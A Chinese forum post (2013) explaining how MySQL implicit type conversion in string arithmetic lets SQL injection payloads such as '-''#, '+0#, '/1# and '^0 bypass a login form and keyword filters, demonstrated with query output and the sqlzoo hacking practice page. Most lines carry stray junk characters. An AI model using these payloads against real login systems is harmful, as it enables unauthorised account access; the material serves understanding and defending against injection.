找回密码
 立即注册
查看: 2838|回复: 0
打印 上一主题 下一主题

使用MySQL字符串运算实施精巧化SQL注入攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-23 16:20:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
我们先来看这样一个场景。0 Y6 m/ O2 F* x1 J! ~' {
有以下表结构: 3 g6 c, _- T! O$ g% l
: i4 u( r- Q4 v& [" L& `
mysql> desc admin;; t8 y8 X4 F2 D! v# Y
+----------+--------------+------+-----+---------+----------------+2 M& V' j; F3 I/ M8 }# {* P
| Field    | Type         | Null | Key | Default | Extra          |* b* g4 p7 `7 Q; i5 z  ]8 J
+----------+--------------+------+-----+---------+----------------+
  I$ h6 h2 p$ u' g& [% B$ Y| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |3 e/ W8 _; L# N) q: g6 u
| name     | char(32)     | NO   | UNI | NULL    |                |# v2 R* m; ~5 v/ u/ l4 t
| password | char(32)     | NO   | UNI | NULL    |                |* |+ A* C; o& C; w" w) C" R) {
+----------+--------------+------+-----+---------+----------------+
5 ?; x7 V0 F3 ]. O# _: X4 G3 rows in set (0.00 sec)
. M) x3 @# r4 N" H" X+ w" c执行select * from admin;,成功返回所有记录内容。. h8 ~1 w) @- c3 w! ]

  S1 ~% `- T" A: N; D( j* x; l4 u" r" Z) d3 U- f
+----+--------+----------------------------------+
; g" o2 j+ j" M% M# T( I" W' y# U! `, s| id | name   | password                         |
& m+ A+ ~2 f# c/ T" B+----+--------+----------------------------------+. b& R$ h# l8 C8 V% x
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
) I2 ^4 F  I$ l/ m$ k$ J* Q7 s* p! e|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |; t) k, \* q" C8 F( c7 b+ n( V8 T
|  4 | n00b   | ff80e8508d39047460921792273533a4 |
  q! g' {) x5 j0 `+----+--------+----------------------------------+
7 W7 g+ H3 n( h* T" F0 }; ?- J; [0 g3 rows in set (0.00 sec)6 F! G& e5 M, Q: z2 i- q' N+ q
执行select * from admin where name=”;,没有匹配到任何记录。 . y) D" c& S, n) J& U

" g; u5 z7 z  l) Wmysql> select * from admin where name = '';
5 P: r6 D$ X% ?- p% A5 Q' UEmpty set (0.00 sec)0 y% ?6 x  k. S8 I# E! X
那么我们来执行select * from admin where name = ”-”;4 l" v% d& r0 e0 a

8 @- Y/ o- L% Y+ m& _2 g" I3 ^3 {2 v
+----+--------+----------------------------------+
# m' Q: g' H7 F9 }" C| id | name   | password                         |, X) s0 ?/ T; e0 [$ s/ \; e
+----+--------+----------------------------------+8 t3 U5 X) Z2 V- [# ?
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
, K! I: P* c9 y0 f6 S2 j% {|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
9 d* R. H8 Y; H% B|  4 | n00b   | ff80e8508d39047460921792273533a4 |1 }, c) h& y) K3 |( z
+----+--------+----------------------------------+8 \+ \$ D' h+ c& D
3 rows in set, 3 warnings (0.00 sec)! W9 y1 J7 g! \) m
可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息:
* y. G- p( \' F6 v( Y: ^
1 ]7 b9 h9 b3 ?* R: jmysql> show warnings;
" h" K% D7 S, ?9 v( t& B+---------+------+------------------------------------------* k& \) }0 C8 T+ d
| Level   | Code | Message* |. U8 y( L- O8 s4 L8 [# J: g8 j+ I
+---------+------+------------------------------------------" ]! b0 N! q. f! R
| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin! y7 ^0 X& u5 L) k/ Y
| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s% {# J6 F. }  E8 B/ V
| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b
* R6 n8 @, n5 {8 u/ |# w  U7 A. a+---------+------+------------------------------------------- C. p/ |, _% Z4 s8 k' y+ `
3 rows in set (0.00 sec)9 {8 h6 c: A: z/ A, W" u
提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 ' v- @6 [& L( E& }
4 X  @$ Z. ?% G* w$ |
mysql> select ''-'';3 Z1 U! Z3 ]* _; A4 d* G
+-------+
! j/ q: G, o0 ?% @5 x| ''-'' |
" L) g; p3 }$ U2 d. m+-------+- m; ^7 r5 I$ N. U; d* L( y! X
|     0 |
+ y0 c$ T- N" F, R; W& y2 \" Y/ H0 \+-------+
) Q& T0 q: ^" K7 r1 row in set (0.00 sec)
3 k" K$ ]3 }" p& s2 h0 s  V3 V返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: , B6 m) l  v( g7 V7 q; d/ v) c4 F
# ^* y. p: V, U2 t
mysql> select CAST((select name from admin limit 1,1) as DECIMAL);% b" g0 I) v  h2 N  b6 f
+-----------------------------------------------------+9 N. g* d* ~4 b, X5 {  k
| CAST((select name from admin limit 1,1) as DECIMAL) |
+ G8 Z- @  j& q& f+-----------------------------------------------------+
6 Z4 s0 C9 g/ Q|                                                   0 |6 `( U- x+ \0 {) I+ w; v- E7 J% ~
+-----------------------------------------------------+
) f7 R& O& p( @# [1 row in set, 1 warning (0.00 sec)
( {* }6 ]$ u' w因此where语句构成了相等的条件,where 0=”=”,记录被返回。 2 c6 f, }8 B/ X" d
" z. Y: x3 g$ u8 z6 C
SQL注入场景: http://www.sqlzoo.net/hack/
2 y, S( z7 K0 j% E' Y2 Z+ b# r7 V, I* `) Z9 N! v; e  u

8 y- K5 j# y! `  ^3 G* B
3 G: C1 z' W- j; J/ `4 ~
& E) r1 K. P1 x' _如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 & C9 b; b* b2 S/ R% j3 o6 O
7 F' G$ J7 o- X
那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。
8 L* X' d* \$ ^5 F7 k7 |( E1 a  e( @9 j

! }8 D# I1 S4 L4 ^+ T; H  T5 W
0 O; t3 _0 ]3 ]; j6 N9 }5 w9 b  K. s, F# C
仅仅在name子段输入’-”#,password留空,即可绕过登录验证。
* v& Y7 \; ^& ^  u$ ~) M5 z2 h( F, Q3 `1 ~3 P
   # q* V: c3 i4 p" o# p1 d

; f3 d$ w/ C0 T* o; x$ o除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可
3 ~8 x( S! b% q  Q: n
2 b. T& m6 w. n  x# t2 b) J7 Q. R1 k  a; a1 J
mysql> select ''/1;
1 P8 Y0 g' t, t9 \& `& G, D" C* ~0 d+------+
7 `1 C& ?' y, ?9 u' v; p1 J& O| ''/1 |4 u$ j5 E+ T! J9 L1 l
+------+
! m! h% @" B  V( Z|    0 |
- s( r/ u  }8 x; p+------+, `4 K1 z- ~' X% \6 S
1 row in set (0.00 sec)
' A' J, C7 }4 T+ F8 Y类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。  0 \- }1 T' r7 p' R% w
. b0 O  ^  }6 G' ]6 _
利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。3 s8 g9 [2 q6 I3 }0 i, S; i" H
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表